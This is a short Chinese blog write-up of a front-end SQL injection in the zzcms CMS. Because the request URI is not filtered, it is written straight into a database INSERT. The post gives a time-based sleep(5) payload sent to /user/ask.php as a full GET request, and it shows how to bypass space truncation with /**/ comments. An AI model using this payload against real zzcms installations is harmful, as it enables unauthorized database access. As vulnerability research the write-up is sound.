zzcms前台SQL注入
存储型XSS参考文章https://0x20h.com/p/9812.html
SQL注入
还是markit()
函数,既然没有对URI进行过滤直接写入数据库,那么能不能搞点事情呢?
先看看这个query
函数怎么执行的
可以看到直接带入mysqli_query
,那么尝试构造下payload
吧
原始SQL语句
insert into zzcms_bad (username,ip,dose,sendtime) |
既然只有$url
可控,那么直接构造传入的URI就可以了,先直接让数据库执行sleep()
函数
insert into zzcms_bad (username,ip,dose,sendtime)values('test','127.0.0.1','http://www.zzcms2019.cc/user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');#
OK 成功,那么直接构造就行了
GET /user/ask.php?do=modify&page=1&id=1&aaa='or sleep(5),'');# HTTP/1.1 |
结果发现并没有执行
在函数中dump下$url
看看原因
发现被url中的空格截断了
那么直接用注释/**/
替换
成功睡眠5秒,证明存在SQL注入。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Sp4ce's Blog!
评论